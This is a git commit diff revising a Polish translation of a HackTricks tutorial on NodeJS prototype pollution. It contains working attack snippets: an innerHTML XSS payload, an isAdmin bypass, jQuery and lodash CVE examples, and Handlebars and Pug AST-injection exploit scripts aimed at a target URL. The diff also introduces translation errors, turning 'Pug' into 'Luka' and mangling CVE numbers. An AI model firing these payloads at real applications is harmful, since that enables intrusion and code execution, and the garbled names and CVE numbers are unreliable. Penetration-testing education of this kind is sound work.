Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

This commit is contained in:
Translator 2024-03-17 20:40:48 +00:00
parent 4ac1fb153b
commit 98f94b3a90

View file

@ -1,31 +1,29 @@
# NodeJS - \_\_proto\_\_ & prototype Pollution
# NodeJS - Zanieczyszczenie \_\_proto\_\_ & prototype
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
## Obiekty w JavaScript <a href="#053a" id="053a"></a>
## Obiekty w JavaScript <a href="#id-053a" id="id-053a"></a>
Obiekty w JavaScript są w zasadzie kolekcjami par klucz-wartość, znanych jako właściwości. Obiekt można utworzyć za pomocą `Object.create` z argumentem `null`, aby utworzyć pusty obiekt. Ta metoda pozwala na utworzenie obiektu bez dziedziczonych właściwości.
Obiekty w JavaScript są w zasadzie kolekcjami par klucz-wartość, znanych jako właściwości. Obiekt można utworzyć za pomocą `Object.create` z `null` jako argumentem, aby utworzyć pusty obiekt. Ta metoda pozwala na utworzenie obiektu bez dziedziczonych właściwości.
```javascript
// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.
```
Pusty obiekt jest podobny do pustego słownika, reprezentowanego jako `{}`.
### Funkcje i Klasy w JavaScript
### Funkcje i klasy w JavaScript
W JavaScript funkcje i klasy są ściśle powiązane, gdzie funkcje często pełnią rolę konstruktorów klas. Pomimo braku natywnego wsparcia dla klas w JavaScript, konstruktory mogą emulować zachowanie klas.
W JavaScript, klasy i funkcje są ściśle powiązane, gdzie funkcje często pełnią rolę konstruktorów dla klas. Pomimo braku natywnej obsługi klas w JavaScript, konstruktory mogą emulować zachowanie klas.
```javascript
// Run this in the developers tools console
@ -45,21 +43,21 @@ employee1.__proto__
```
### Prototypy w JavaScript
JavaScript umożliwia modyfikację, dodawanie lub usuwanie atrybutów prototypu w czasie wykonywania. Ta elastyczność umożliwia dynamiczne rozszerzanie funkcjonalności klasy.
JavaScript pozwala na modyfikację, dodawanie lub usuwanie atrybutów prototypu w czasie wykonywania. Ta elastyczność umożliwia dynamiczne rozszerzanie funkcjonalności klasy.
Funkcje takie jak `toString` i `valueOf` mogą być zmieniane, aby zmienić ich zachowanie, co pokazuje elastyczność systemu prototypów w JavaScript.
Funkcje takie jak `toString` i `valueOf` mogą być zmienione, aby zmienić ich zachowanie, co pokazuje adaptacyjny charakter systemu prototypów w JavaScript.
## Dziedziczenie
W programowaniu opartym na prototypach, właściwości/metody są dziedziczone przez obiekty z klas. Te klasy są tworzone poprzez dodawanie właściwości/metod do instancji innej klasy lub do pustego obiektu.
W programowaniu opartym na prototypach, właściwości/metody są dziedziczone przez obiekty z klas. Te klasy są tworzone poprzez dodawanie właściwości/metod albo do instancji innej klasy, albo do pustego obiektu.
Należy zauważyć, że gdy do obiektu służącego jako prototyp dla innych obiektów (takiego jak `myPersonObj`) dodawana jest właściwość, dziedziczące obiekty zyskują dostęp do tej nowej właściwości. Jednak ta właściwość nie jest automatycznie wyświetlana, chyba że zostanie jawnie wywołana.
Warto zauważyć, że gdy właściwość jest dodawana do obiektu służącego jako prototyp dla innych obiektów (takich jak `myPersonObj`), dziedziczące obiekty uzyskują dostęp do tej nowej właściwości. Jednak ta właściwość nie jest automatycznie wyświetlana, chyba że jest jawnie wywołana.
## Zanieczyszczenie \_\_proto\_\_ <a href="#0d0a" id="0d0a"></a>
## Zanieczyszczenie \_\_proto\_\_ <a href="#id-0d0a" id="id-0d0a"></a>
## Badanie zanieczyszczenia prototypu w JavaScript
Obiekty JavaScript są definiowane przez pary klucz-wartość i dziedziczą po prototypie JavaScript Object. Oznacza to, że zmiana prototypu Object może wpływać na wszystkie obiekty w środowisku.
Obiekty JavaScript są definiowane przez pary klucz-wartość i dziedziczą po prototypie obiektu JavaScript. Oznacza to, że zmiana prototypu Object może wpłyć na wszystkie obiekty w środowisku.
Przyjrzyjmy się innemu przykładowi, aby to zilustrować:
```javascript
@ -73,7 +71,7 @@ Dostęp do prototypu obiektu jest możliwy poprzez:
car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;
```
Dodając właściwości do prototypu Object, każdy obiekt JavaScript odziedziczy te nowe właściwości:
Poprzez dodanie właściwości do prototypu Object, każdy obiekt JavaScript odziedziczy te nowe właściwości:
```javascript
function Vehicle(model) {
this.model = model;
@ -88,7 +86,7 @@ console.log(car1.isVehicle); // Outputs true
```
## zanieczyszczenie prototypu
W przypadku, gdy korzystanie z `__proto__` jest ograniczone, modyfikowanie prototypu funkcji stanowi alternatywę:
Dla scenariusza, w którym korzystanie z `__proto__` jest ograniczone, modyfikacja prototypu funkcji jest alternatywą:
```javascript
function Vehicle(model) {
this.model = model;
@ -104,11 +102,11 @@ console.log(car1.hasWheels); // Outputs true
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;
```
To wpływa tylko na obiekty utworzone za pomocą konstruktora `Vehicle`, nadając im właściwości `beep`, `hasWheels`, `honk` i `isElectric`.
To dotyczy tylko obiektów utworzonych za pomocą konstruktora `Vehicle`, nadając im właściwości `beep`, `hasWheels`, `honk` i `isElectric`.
Dwa sposoby globalnego wpływania na obiekty JavaScript poprzez zanieczyszczanie prototypu obejmują:
1. Bezpośrednie zanieczyszczanie `Object.prototype`:
1. Zanieczyszczanie `Object.prototype` bezpośrednio:
```javascript
Object.prototype.goodbye = function() { console.log("Goodbye!"); };
```
@ -117,13 +115,13 @@ Object.prototype.goodbye = function() { console.log("Goodbye!"); };
var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };
```
Po tych operacjach każdy obiekt JavaScript może wykonywać metody `goodbye` i `greet`.
Po tych operacjach każdy obiekt JavaScript może wykonać metody `goodbye` i `greet`.
## Zanieczyszczanie innych obiektów
### Z klasy do Object.prototype
W scenariuszu, w którym możesz **zanieczyścić określony obiekt** i musisz **dostać się do `Object.prototype`**, możesz go wyszukać za pomocą kodu podobnego do poniższego:
W scenariuszu, gdzie możesz **zanieczyścić określony obiekt** i musisz **dostać się do `Object.prototype`**, możesz wyszukać go za pomocą kodu podobnego do poniższego:
```javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
@ -146,7 +144,7 @@ console.log(key1 + "." + key2)
```
### Zanieczyszczanie elementów tablicy
Należy zauważyć, że w JS można zanieczyścić atrybuty obiektów, a jeśli masz dostęp do zanieczyszczenia tablicy, możesz również **zanieczyścić wartości tablicy** dostępne **poprzez indeksy** (należy zauważyć, że nie można nadpisać wartości, dlatego trzeba zanieczyścić indeksy, które są w jakiś sposób używane, ale nie zapisywane).
Zauważ, że tak jak możesz zanieczyścić atrybuty obiektów w JS, jeśli masz dostęp do zanieczyszczenia tablicy, możesz również **zanieczyścić wartości tablicy** dostępne **poprzez indeksy** (zauważ, że nie możesz nadpisać wartości, dlatego musisz zanieczyścić indeksy, które są w jakiś sposób używane, ale nie zapisywane).
```javascript
c = [1,2]
a = []
@ -156,9 +154,9 @@ b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
```
### Zanieczyszczenie elementów HTML
### Zanieczyszczenie elementów Html
Podczas generowania elementu HTML za pomocą JS można **nadpisać** atrybut **`innerHTML`**, aby umożliwić wpisywanie **dowolnego kodu HTML**. [Pomysł i przykład pochodzą z tego opracowania](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
Podczas generowania elementu HTML za pomocą JS można **nadpisać** atrybut **`innerHTML`**, aby napisać **dowolny kod HTML.** [Pomysł i przykład z tego wpisu](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
{% code overflow="wrap" %}
```javascript
@ -177,13 +175,13 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
### Podstawowy przykład
Zanieczyszczenie prototypu występuje z powodu błędu w aplikacji, który umożliwia nadpisanie właściwości na `Object.prototype`. Oznacza to, że większość obiektów dziedziczy swoje właściwości z `Object.prototype`.
Zanieczyszczenie prototypu występuje z powodu błędu w aplikacji, który pozwala na nadpisanie właściwości w `Object.prototype`. Oznacza to, że ponieważ większość obiektów czerpie swoje właściwości z `Object.prototype`.
Najprostszym przykładem jest dodanie wartości do **niezdefiniowanego atrybutu obiektu**, który zostanie sprawdzony, na przykład:
Najprostszym przykładem jest dodanie wartości do **niezdefiniowanej atrybutu obiektu**, który ma zostać sprawdzony, na przykład:
```javascript
if (user.admin) {
```
Jeśli atrybut **`admin` jest niezdefiniowany**, istnieje możliwość wykorzystania PP i ustawienia go na wartość True za pomocą czegoś takiego jak:
Jeśli atrybut **`admin` jest niezdefiniowany**, istnieje możliwość nadużycia prototypowego zanieczyszczenia i ustawienia go na True za pomocą:
```javascript
Object.prototype.isAdmin = true
let user = {}
@ -191,66 +189,69 @@ user.isAdmin // true
```
Mechanizm polega na manipulowaniu właściwościami w taki sposób, że jeśli atakujący ma kontrolę nad określonymi danymi wejściowymi, może zmodyfikować prototyp wszystkich obiektów w aplikacji. Manipulacja ta zazwyczaj polega na ustawieniu właściwości `__proto__`, która w języku JavaScript jest synonimem bezpośredniej modyfikacji prototypu obiektu.
Warunki, w których ten atak może być skutecznie wykonany, jak opisano w konkretnej [studi](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), obejmują:
- Wykonywanie rekurencyjnego scalania.
- Definiowanie właściwości na podstawie ścieżki.
- Klonowanie obiektów.
Warunki, w których atak ten może być skutecznie wykonany, jak opisano w konkretnym [studium](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf), obejmują:
* Wykonywanie rekurencyjnego scalania.
* Definiowanie właściwości na podstawie ścieżki.
* Klonowanie obiektów.
### Nadpisanie funkcji
```python
customer.__proto__.toString = ()=>{alert("polluted")}
```
### Proto Pollution do RCE
### Zanieczyszczenie prototypu w celu zdalnego wykonania kodu
{% content-ref url="prototype-pollution-to-rce.md" %}
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
{% endcontent-ref %}
## Proto Pollution po stronie klienta do XSS
## Zanieczyszczenie prototypu po stronie klienta w celu XSS
{% content-ref url="client-side-prototype-pollution.md" %}
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
{% endcontent-ref %}
### CVE-201911358: Atak prototype pollution poprzez jQuery $ .extend
### CVE-201911358: Atak zanieczyszczenia prototypu poprzez jQuery $ .extend
[Aby uzyskać więcej informacji, sprawdź ten artykuł](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
W jQuery funkcja `$ .extend` może prowadzić do prototype pollution, jeśli funkcja kopiowania głębokiego jest niewłaściwie wykorzystywana. Ta funkcja jest często używana do klonowania obiektów lub łączenia właściwości z domyślnego obiektu. Jednak gdy jest źle skonfigurowana, właściwości przeznaczone dla nowego obiektu mogą zostać przypisane do prototypu. Na przykład:
[Aby uzyskać więcej informacji, sprawdź ten artykuł](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) W jQuery, funkcja `$ .extend` może prowadzić do zanieczyszczenia prototypu, jeśli funkcja kopiowania głębokiego jest używana nieprawidłowo. Ta funkcja jest często używana do klonowania obiektów lub łączenia właściwości z obiektu domyślnego. Jednakże, gdy jest źle skonfigurowana, właściwości przeznaczone dla nowego obiektu mogą być przypisane do prototypu. Na przykład:
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true
```
Ta podatność, zidentyfikowana jako CVE-2019-11358, ilustruje, jak głęboka kopia może niechcący modyfikować prototyp, co prowadzi do potencjalnych zagrożeń dla bezpieczeństwa, takich jak nieautoryzowany dostęp administratora, jeśli właściwości takie jak `isAdmin` są sprawdzane bez odpowiedniej weryfikacji istnienia.
Ta podatność, zidentyfikowana jako CVE-201911358, ilustruje, jak głęboka kopia może nieumyślnie modyfikować prototyp, prowadząc do potencjalnych zagrożeń dla bezpieczeństwa, takich jak nieautoryzowany dostęp administratora, jeśli właściwości takie jak `isAdmin` są sprawdzane bez odpowiedniej weryfikacji istnienia.
### CVE-2018-3721, CVE-2019-10744: Atak zanieczyszczenia prototypu za pomocą lodash
### CVE-20183721, CVE-201910744: Atak zanieczyszczenia prototypu poprzez lodash
[Aby uzyskać więcej szczegółów, sprawdź ten artykuł](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[Lodash](https://www.npmjs.com/package/lodash) napotkał podobne podatności na zanieczyszczenie prototypu (CVE-2018-3721, CVE-2019-10744). Te problemy zostały rozwiązane w wersji 4.17.11.
[Lodash](https://www.npmjs.com/package/lodash) napotkał podobne podatności na zanieczyszczenie prototypu (CVE-20183721, CVE-201910744). Te problemy zostały rozwiązane w wersji 4.17.11.
### Inny samouczek z CVE
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
### Narzędzia do wykrywania zanieczyszczenia prototypu
* [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Rozszerzenie Burp Suite zaprojektowane do wykrywania i analizowania podatności na zanieczyszczenie prototypu po stronie serwera w aplikacjach internetowych. Narzędzie to automatyzuje proces skanowania żądań w celu zidentyfikowania potencjalnych problemów z zanieczyszczeniem prototypu. Wykorzystuje znane gadżety - metody wykorzystywania zanieczyszczenia prototypu do wykonywania szkodliwych działań - skupiając się szczególnie na bibliotekach Node.js.
* [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): To rozszerzenie identyfikuje podatności na zanieczyszczenie prototypu po stronie serwera. Wykorzystuje techniki opisane w [zanieczyszczeniu prototypu po stronie serwera](https://portswigger.net/research/server-side-prototype-pollution).
### Zanieczyszczenie prototypu AST w NodeJS
NodeJS szeroko wykorzystuje drzewa składni abstrakcyjnej (AST) w języku JavaScript do funkcji takich jak silniki szablonów i TypeScript. Ta sekcja omawia podatności związane z zanieczyszczeniem prototypu w silnikach szablonów, w szczególności Handlebars i Pug.
NodeJS szeroko wykorzystuje Drzewa Składni Abstrakcyjnej (AST) w JavaScript do funkcji takich jak silniki szablonów i TypeScript. Ta sekcja bada podatności związane z zanieczyszczeniem prototypu w silnikach szablonów, w szczególności Handlebars i Pug.
#### Analiza podatności Handlebars
Silnik szablonów Handlebars jest podatny na atak zanieczyszczenia prototypu. Ta podatność wynika z konkretnych funkcji w pliku `javascript-compiler.js`. Na przykład funkcja `appendContent` łączy `pendingContent`, jeśli jest obecna, podczas gdy funkcja `pushSource` resetuje `pendingContent` na `undefined` po dodaniu źródła.
Silnik szablonów Handlebars jest podatny na atak zanieczyszczenia prototypu. Ta podatność wynika z konkretnych funkcji w pliku `javascript-compiler.js`. Funkcja `appendContent`, na przykład, łączy `pendingContent`, jeśli jest obecny, podczas gdy funkcja `pushSource` resetuje `pendingContent` na `undefined` po dodaniu źródła.
##### Proces wykorzystania
**Proces eksploatacji**
Wykorzystanie polega na wykorzystaniu drzewa składni abstrakcyjnej (AST), które jest generowane przez Handlebars, postępując według tych kroków:
Eksploatacja wykorzystuje AST (Drzewo Składni Abstrakcyjnej) wygenerowane przez Handlebars, postępując zgodnie z tymi krokami:
1. **Manipulacja analizatorem**: Na początku analizator, za pomocą węzła `NumberLiteral`, wymusza, że wartości są numeryczne. Zanieczyszczenie prototypu może ominąć to, umożliwiając wstawienie nie-numerycznych ciągów znaków.
2. **Obsługa przez kompilator**: Kompilator może przetwarzać obiekt AST lub szablon w postaci ciągu znaków. Jeśli `input.type` jest równe `Program`, wejście jest traktowane jako wcześniej sparsowane, co można wykorzystać.
3. **Wstrzyknięcie kodu**: Poprzez manipulację `Object.prototype`, można wstrzyknąć dowolny kod do funkcji szablonu, co może prowadzić do zdalnego wykonania kodu.
1. **Manipulacja przez Parser**: Początkowo parser, poprzez węzeł `NumberLiteral`, narzuca, że wartości są numeryczne. Zanieczyszczenie prototypu może ominąć to, umożliwiając wstawienie nie numerycznych ciągów znaków.
2. **Obsługa przez Kompilator**: Kompilator może przetwarzać obiekt AST lub szablon łańcuchowy. Jeśli `input.type` równa się `Program`, wejście jest traktowane jako wstępnie sparsowane, co można wykorzystać.
3. **Wstrzyknięcie Kodu**: Poprzez manipulację `Object.prototype`, można wstrzyknąć dowolny kod do funkcji szablonu, co może prowadzić do zdalnego wykonania kodu.
Przykład demonstrujący wykorzystanie podatności Handlebars:
Przykład demonstrujący eksploatację podatności Handlebars:
```javascript
const Handlebars = require('handlebars');
@ -273,11 +274,11 @@ const template = Handlebars.precompile(source);
console.log(eval('(' + template + ')')['main'].toString());
```
Ten kod pokazuje, jak atakujący może wstrzyknąć dowolny kod do szablonu Handlebars.
Ten kod prezentuje, jak atakujący może wstrzyknąć dowolny kod do szablonu Handlebars.
**Odnośnik zewnętrzny**: Znaleziono problem związany z zanieczyszczeniem prototypu w bibliotece 'flat', szczegóły można znaleźć tutaj: [Problem na GitHubie](https://github.com/hughsk/flat/issues/105).
**Zewnętrzne odniesienie**: Znaleziono problem związany z zanieczyszczeniem prototypu w bibliotece 'flat', jak szczegółowo opisano tutaj: [Problem na GitHub](https://github.com/hughsk/flat/issues/105).
**Odnośnik zewnętrzny**: [Problem związany z zanieczyszczeniem prototypu w bibliotece 'flat'](https://github.com/hughsk/flat/issues/105)
**Zewnętrzne odniesienie**: [Problem związany z zanieczyszczeniem prototypu w bibliotece 'flat'](https://github.com/hughsk/flat/issues/105)
Przykład wykorzystania zanieczyszczenia prototypu w Pythonie:
```python
@ -305,11 +306,11 @@ requests.post(TARGET_URL + '/vulnerable', json = {
# execute
requests.get(TARGET_URL)
```
#### Podatność Pug
#### Luka Vulnerability
Pug, inny silnik szablonów, narażony jest na podobne ryzyko związane z zanieczyszczeniem prototypu. Szczegółowe informacje są dostępne w dyskusji na temat [Wstrzykiwania AST w Pug](https://blog.p6.is/AST-Injection/#Pug).
Luka, inny silnik szablonów, stoi w obliczu podobnego ryzyka zanieczyszczenia prototypu. Szczegółowe informacje są dostępne w dyskusji na temat [Wstrzyknięcia AST w Luce](https://blog.p6.is/AST-Injection/#Pug).
Przykład zanieczyszczenia prototypu w Pug:
Przykład zanieczyszczenia prototypu w Luce:
```python
import requests
@ -328,21 +329,21 @@ requests.get(TARGET_URL)
```
### Środki zapobiegawcze
Aby zminimalizować ryzyko zanieczyszczenia prototypu, można zastosować poniższe strategie:
Aby zmniejszyć ryzyko zanieczyszczenia prototypu, można zastosować poniższe strategie:
1. **Niezmiennosć obiektu**: `Object.prototype` można uczynić niemutowalnym poprzez zastosowanie `Object.freeze`.
2. **Walidacja danych wejściowych**: Dane JSON powinny być rygorystycznie walidowane zgodnie z schematem aplikacji.
3. **Bezpieczne funkcje scalające**: Należy unikać niebezpiecznego użycia rekurencyjnych funkcji scalających.
1. **Niezmienność obiektu**: `Object.prototype` można uczynić niemutowalnym, stosując `Object.freeze`.
2. **Walidacja wejścia**: Dane JSON powinny być rygorystycznie walidowane zgodnie z schematem aplikacji.
3. **Bezpieczne funkcje scalania**: Należy unikać niebezpiecznego użycia rekurencyjnych funkcji scalania.
4. **Obiekty bez prototypu**: Obiekty bez właściwości prototypu można tworzyć za pomocą `Object.create(null)`.
5. **Użycie Map**: Zamiast `Object`, należy używać `Map` do przechowywania par klucz-wartość.
6. **Aktualizacje bibliotek**: Regularne aktualizowanie bibliotek pozwala na włączenie poprawek związanych z bezpieczeństwem.
7. **Linter i narzędzia analizy statycznej**: Używaj narzędzi takich jak ESLint z odpowiednimi wtyczkami do wykrywania i zapobiegania podatnościom na zanieczyszczenie prototypu.
8. **Przeglądy kodu**: Przeprowadzaj dokładne przeglądy kodu w celu identyfikacji i usuwania potencjalnych zagrożeń związanych z zanieczyszczeniem prototypu.
5. **Użycie Map**: Zamiast `Object`, do przechowywania par klucz-wartość należy używać `Map`.
6. **Aktualizacje bibliotek**: Poprawki bezpieczeństwa można wdrożyć regularnie aktualizując biblioteki.
7. **Narzędzia do analizy statycznej i linter**: Używaj narzędzi takich jak ESLint z odpowiednimi wtyczkami do wykrywania i zapobiegania podatnościom na zanieczyszczenie prototypu.
8. **Przeglądy kodu**: Wdrożenie dokładnych przeglądów kodu w celu identyfikacji i usuwania potencjalnych ryzyk związanych z zanieczyszczeniem prototypu.
9. **Szkolenia z bezpieczeństwa**: Edukuj programistów na temat ryzyka zanieczyszczenia prototypu i najlepszych praktyk pisania bezpiecznego kodu.
10. **Ostrożne korzystanie z bibliotek**: Bądź ostrożny podczas korzystania z bibliotek osób trzecich. Oceń ich postawę w zakresie bezpieczeństwa i przejrzyj ich kod, zwłaszcza te manipulujące obiektami.
11. **Ochrona w czasie wykonywania**: Wykorzystuj mechanizmy ochrony w czasie wykonywania, takie jak używanie pakietów npm skoncentrowanych na bezpieczeństwie, które mogą wykrywać i zapobiegać atakom zanieczyszczenia prototypu.
10. **Używanie bibliotek ostrożnie**: Bądź ostrożny podczas korzystania z bibliotek innych firm. Oceniaj ich postawę w zakresie bezpieczeństwa i przeglądaj ich kod, zwłaszcza te manipulujące obiektami.
11. **Ochrona w czasie wykonywania**: Stosuj mechanizmy ochrony w czasie wykonywania, takie jak korzystanie z pakietów npm skoncentrowanych na bezpieczeństwie, które mogą wykrywać i zapobiegać atakom zanieczyszczenia prototypu.
## Odwołania
## Odnośniki
* [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
* [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
@ -355,10 +356,10 @@ Aby zminimalizować ryzyko zanieczyszczenia prototypu, można zastosować poniż
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>